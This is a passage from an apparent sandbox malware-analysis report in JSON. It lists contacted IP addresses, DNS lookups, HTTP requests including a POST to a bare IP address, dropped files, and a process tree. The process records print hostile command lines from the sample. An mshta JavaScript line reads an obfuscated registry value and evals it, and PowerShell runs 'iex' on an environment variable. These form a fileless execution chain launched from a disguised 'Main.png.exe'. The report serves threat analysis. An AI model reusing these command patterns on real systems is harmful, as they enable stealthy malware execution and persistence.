States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"60.221.146.25","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"144.103.207.13","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"14.50.102.160","port":80,"protocol":"TCP","country":"Korea Republic of","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"112.52.20.68","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"197.201.166.172","port":443,"protocol":"TCP","country":"Algeria","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"24.199.50.59","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"166.254.11.8","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"5.247.88.22","port":80,"protocol":"TCP","country":"Saudi Arabia","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"150.36.165.19","port":80,"protocol":"TCP","country":"Japan","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"153.25.154.162","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"75.145.61.39","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"223.77.237.124","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"204.158.25.87","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"158.133.47.165","port":443,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"86.186.226.232","port":8080,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"35.98.51.96","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"103.188.230.195","port":80,"protocol":"TCP","country":"India","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"162.184.71.147","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"85.163.8.126","port":443,"protocol":"TCP","country":"Czech Republic","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"193.3.13.106","port":443,"protocol":"TCP","country":"Denmark","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"149.76.254.103","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"216.122.2.31","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"117.217.50.62","port":443,"protocol":"TCP","country":"India","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"29.211.121.113","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"100.124.149.241","port":80,"protocol":"TCP","country":"Reserved","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"135.12.241.235","port":443,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"174.157.8.149","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"74.69.230.140","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"82.154.174.37","port":443,"protocol":"TCP","country":"Portugal","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"20.239.178.198","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"4.93.168.255","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"80.151.200.160","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"151.187.83.232","port":8080,"protocol":"TCP","country":"Norway","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"30.196.18.96","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"41.163.158.181","port":80,"protocol":"TCP","country":"South Africa","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"200.240.246.122","port":443,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"110.101.84.163","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"115.202.70.28","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"59.35.117.19","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"77.113.13.213","port":443,"protocol":"TCP","country":"Poland","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"40.52.83.142","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"98.179.197.121","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"94.228.135.194","port":8080,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"88.54.99.57","port":8080,"protocol":"TCP","country":"Italy","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"211.61.120.179","port":80,"protocol":"TCP","country":"Korea Republic of","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"148.189.92.107","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"162.114.31.136","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"145.101.127.227","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"82.204.26.201","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"174.233.83.28","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"175.147.190.192","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"3.222.86.232","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"191.210.247.238","port":443,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"215.185.239.119","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"14.49.226.162","port":443,"protocol":"TCP","country":"Korea Republic of","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"103.203.124.127","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"121.14.217.77","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"161.36.222.122","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"55.94.203.250","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"200.64.101.153","port":443,"protocol":"TCP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"139.58.194.116","port":80,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"183.147.229.17","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"71.34.181.172","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"13.235.230.46","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"201.66.164.172","port":80,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"12.126.173.115","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"162.97.184.88","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}],"dns_resolutions":[{"domain":"goo.gl","address":"172.217.16.14","ttl":299,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"domain":"crl4.digicert.com","address":"66.225.197.197","ttl":1788,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"domain":"crl3.digicert.com","address":"93.184.220.29","ttl":19611,"country":"European Union","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"domain":"ocsp.godaddy.com","address":"188.121.36.239","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"domain":"crl.godaddy.com","address":"188.121.36.237","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}],"http_requests":[{"host":"crl4.digicert.com","host_ip":"66.225.197.197:80","url":"/DigiCertHighAssuranceEVRootCA.crl","method":"GET","header":"GET /DigiCertHighAssuranceEVRootCA.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl4.digicert.com","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"host":"crl3.digicert.com","host_ip":"93.184.220.29:80","url":"/sha2-ha-cs-g1.crl","method":"GET","header":"GET /sha2-ha-cs-g1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl3.digicert.com","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"host":"37.114.49.79","host_ip":"37.114.49.79:80","url":"/","method":"POST","header":"POST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: 37.114.49.79\nContent-Length: 380\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"host":"ocsp.godaddy.com","host_ip":"188.121.36.239:80","url":"//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"host":"crl.godaddy.com","host_ip":"188.121.36.237:80","url":"/gdroot.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gdroot.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.godaddy.com","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"host":"ocsp.godaddy.com","host_ip":"188.121.36.239:80","url":"//MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"host":"crl.godaddy.com","host_ip":"188.121.36.237:80","url":"/gdroot-g2.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gdroot-g2.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.godaddy.com","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"host":"ocsp.godaddy.com","host_ip":"188.121.36.239:80","url":"//MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCW46RQ4FE5hg%3D%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCW46RQ4FE5hg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"host":"crl.godaddy.com","host_ip":"188.121.36.237:80","url":"/gdig2s1-325.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gdig2s1-325.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.godaddy.com","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}],"processes":[{"pid":4140,"ppid":0,"name":"Main.png.exe","command_line":"","sha256":"21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92","normalized_path":"C:\\Main.png.exe","uid":"00011881-00004140","icon":"$37"},{"pid":3468,"ppid":0,"name":"mshta.exe","command_line":"javascript:fgkgK88=\"PKGgx\";b4a=new%20ActiveXObject(\"WScript.Shell\");n5nAK5tL=\"5Y\";U4LEf=b4a.RegRead(\"HKCU\\\\software\\\\cnP9t5ZE\\\\LY2s8GF6\");x6rol1=\"204sG\";eval(U4LEf);N4hwRhlM=\"iO\";","sha256":"8c10ae4be93834a4c744f27ca79736d9123ed9b0d180db28556d2d002545baf2","normalized_path":"%WINDIR%\\System32\\mshta.exe","uid":"00012677-00003468","icon":"$38"},{"pid":4380,"ppid":3468,"name":"powershell.exe","command_line":"iex $env:otxpnze","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00012677-00003468","uid":"00012863-00004380"},{"pid":3588,"ppid":4380,"name":"regsvr32.exe","command_line":"","sha256":"890c1734ed1ef6b2422a9b21d6205cf91e014add8a7f41aa5a294fcf60631a7b","normalized_path":"%WINDIR%\\SysWOW64\\regsvr32.exe","parent_uid":"00012863-00004380","uid":"00014346-00003588"},{"pid":2640,"ppid":3588,"name":"regsvr32.exe","command_line":"","sha256":"890c1734ed1ef6b2422a9b21d6205cf91e014add8a7f41aa5a294fcf60631a7b","normalized_path":"%WINDIR%\\SysWOW64\\regsvr32.exe","parent_uid":"00014346-00003588","uid":"00014559-00002640"}],"all_imported_dlls":["netutils.dll","sechost.dll","atl.dll","setupapi.dll","samcli.dll","mswsock.dll","IPHLPAPI.DLL","bcrypt.dll","wow64win.dll","secur32.dll","System.Transactions.dll","shlwapi.dll","System.Configuration.Install.ni.dll","oleaccrc.dll","version.dll","ws2_32.dll","urlmon.dll","System.Management.Automation.dll","System.DirectoryServices.ni.dll","oleaut32.dll","psapi.dll","shdocvw.dll","mscoreei.dll","tzres.dll","FWPUCLNT.DLL","cryptnet.dll","wininet.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","winnsi.dll","iertutil.dll","clbcatq.dll","comctl32.dll","System.ni.dll","profapi.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","wbemsvc.dll","fastprox.dll","ntdsapi.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","ntmarta.dll","sfc.dll","msctf.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","uxtheme.dll","mscorlib.ni.dll","sfc_os.dll","npmproxy.dll","bcryptprimitives.dll","msvcrt.dll","oleacc.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","Microsoft.WSMan.Management.ni.dll","advapi32.dll","rpcrt4.dll","cryptsp.dll","slc.dll","System.Data.ni.dll","WSHTCPIP.DLL","webio.dll","shell32.dll","winmm.dll","ncrypt.dll","Microsoft.WSMan.Runtime.dll","ole32.dll","api-ms-win-downlevel-version-l1-1-0.dll","linkinfo.dll","System.Xml.ni.dll","shfolder.dll","cfgmgr32.dll","devobj.dll","mscorjit.dll","mpr.dll","wship6.dll","userenv.dll","Wldap32.dll","AcGenral.dll","usp10.dll","wsock32.dll","dwmapi.dll","mscorwks.dll","user32.dll","System.Management.Automation.ni.dll","System.Management.ni.dll","sxs.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","Microsoft.PowerShell.Security.ni.dll","msasn1.dll","gpapi.dll","ntshrui.dll","KernelBase.dll","crypt32.dll","msacm32.dll","wow64.dll","wow64cpu.dll","lpk.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","wshqos.dll","schannel.dll","msimtf.dll","System.Core.ni.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","SensApi.dll","ntdll.dll","api-ms-win-downlevel-user32-l1-1-0.dll","jscript9.dll","mscoree.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","mscorrc.dll","System.Data.dll","rasadhlp.dll","scrrun.dll","srvcli.dll","dhcpcsvc.dll","sspicli.dll","RpcRtRemote.dll","Microsoft.PowerShell.Commands.Management.ni.dll","normaliz.dll","mshtml.dll","apphelp.dll","winhttp.dll","credssp.dll","kernel32.dll","propsys.dll","dhcpcsvc6.dll","gdi32.dll","nsi.dll","wtsapi32.dll","wbemprox.dll","cscapi.dll","msvcr80.dll","wintrust.dll","imm32.dll","rsaenh.dll","dnsapi.dll","cryptbase.dll","wbemcomn.dll","System.Transactions.ni.dll","mscorlib.dll","Microsoft.PowerShell.Commands.Diagnostics.dll","System.Configuration.Install.dll","Microsoft.PowerShell.Security.dll","System.XML.dll","GdiPlus.dll","System.dll","pnrpnsp.dll","rtutils.dll","Microsoft.PowerShell.Commands.Management.dll","System.Core.dll","System.DirectoryServices.dll","gameux.dll","rasapi32.dll","Microsoft.PowerShell.ConsoleHost.dll","devrtl.dll","jscript.dll","cabinet.dll","ieframe.dll","System.configuration.dll","rasman.dll","Microsoft.PowerShell.Commands.Utility.dll","wer.dll","Microsoft.WSMan.Management.dll","xmllite.dll","System.ServiceProcess.dll","nlaapi.dll","rpcss.dll","winrnr.dll","netprofm.dll","NapiNSP.dll","System.Management.dll","msls31.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"DX3EG52555ZNPTC50U6E.temp","sha256":"c166a46fbe108abfa30f4b723ed0dfba23fb5f1394952993589a5e52de1dbc6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"58463.c08962","sha256":"cb02712cf41d719d34657a57bad75dfca4a465b63db85ab8a2dcf9991afaa51c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"feef8.bat","sha256":"3419bb44d3255445a267dd494f417f542a0d4330f19bf97c979d57f188d07190","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"23B523C9E7746F715D33C6527C18EB9D","sha256":"5f6e590092699f0824ce5665b9a0e352a17711710b5f6e2ea0863ee28ce20fc9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"7366331f4fc45dfe75be6a09c3925a778afb0e3fc6ad26fa5033c6be5c46a307","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"8059E9A0D314877E40FE93D8CCFB3C69_7949AB1D830C9EC8D2D6C5C97769C147","sha256":"2e7704552e500a44c65f2cd8dc0ae4e04591a37546ea8008afd4e9949607d3e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56","sha256":"d6d284ef97e06b9b5bbb1f5cbe179726f72578711c2a06d7139fc3b20ceaca3c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"8A574ED5927B3CEC9626151D220C7448","sha256":"d823f6ee5c4efa5d784d1f17ab95d12ff6fa1f405c26e638fae84e8a48d6679e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"D7B4E43171BB9E412497B0377F4343E7","sha256":"251bf6ed7a9c653cf8f99746e4731c50a2de56c4cb7eab369a87b7c51e0b3245","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"name":"Tar5C0E.tmp","sha256":"7e58975a4e1e86940f84e744709426939b85ae174dbbf020da3c893a54fd1da2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"ID8LL7WBPG2WX5Q0NQPK.temp","sha256":"a779e8bd019a7409af7c89019fc2eb35388d647a416a4b60372a84bc82eb06c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"14384.84af6c","sha256":"72da250110464a44408a4ffefd981821683194faa23824acafb595123140cfd4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"1d303.bat","sha256":"e6d7a5dc4f2c5119509f0bdff62de51a59523aec84459960f5cd0507d4eef9a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"20BD47F18EB09FAE36D647A07FA96AA7_D6130B290C36CB8D8B64E18D1A5D6AB9","sha256":"0fdb53aebe7301a3ede657f4859a02ef3203799f04ed3281065513cba077d0d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sha256":"95bc433dd815fbbbe5aa0ada258dbe8366bbd8a51a9eec5a23c99515de0bcd18","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"510B5389D631F18D6C95393A98C2AC37","sha256":"d3a2102182725fbb75cac2484fe0133f33f286c07f956f259c17dde461a939f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"67F6625BC22310D5C99DDE12020DBD90","sha256":"28212ec96efc80e404838e59d912bdd2e980c39764c6addc6c24bde469d7f3c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"C5FD5BF0CE6372B1CAFE381FD0BC969C","sha256":"382e2205af43be172b9b7eb148229bc06e58f19159c59dd51edf3e2e61b54066","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sha256":"f3e3ee1b077bfad079c4c59f0c090543e07c032bc33f26cf0606cb6be342a305","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"Cab5C0D.tmp","sha256":"c929701c67a05f90827563eedccf5eba8e65b2da970189a0371f28cd896708b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"CabCB9E.tmp","sha256":"c929701c67a05f90827563eedccf5eba8e65b2da970189a0371f28cd896708b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"TarCB9F.tmp","sha256":"7e58975a4e1e86940f84e744709426939b85ae174dbbf020da3c893a54fd1da2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}],"files_written":[{"path":"%WINDIR%\\SysWOW64\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"C:\\Main.png.exe","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302c